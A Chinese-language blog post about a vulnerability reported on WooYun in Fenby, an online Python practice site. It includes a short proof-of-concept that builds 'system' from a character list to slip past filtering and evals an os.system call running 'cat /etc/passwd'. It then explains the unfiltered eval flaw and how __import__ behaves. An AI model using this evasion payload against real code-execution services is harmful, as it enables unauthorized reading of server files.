有意思的python***案例

今天在wooyun裏看到一個有意思的漏洞。說它有意思,第一是思路很特別,當然也是因爲安全做的很low,第二里面使用的python的poc有個小細節,特此分享一下。


網站叫Fenby網,主要是爲了pythoner在線學習的,它有一個在線練習的功能,可以輸入代碼,然後執行,測試運行結果。。。

於是樓主就註冊了一個賬號,URL:http://www.fenby.com/course/units/xxxx

然後輸入如下一段惡意代碼:

import string

s = ["s","y","s","t","e","m"]

s = "".join(s)

cmd = "cat /etc/passwd"

code = "__import__('os')." + s + "('" + cmd + "')"

eval(code)


於是就這樣了。。。

wKioL1VN6AWiXCoBAAGITIL72WQ123.jpg

這裏我想說兩點,第一造成漏洞的原因是沒有過濾eval,第二代碼裏使用的import和__import__的不同。

import其實是調用的__import__但是如果直接寫成 code = "__import__('package.module')",它的意思就不是說:import package.module as package

When the name variable is of the form package.module, normally, the top-level package (the name up till the first dot) is returned, not the module named by name.


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章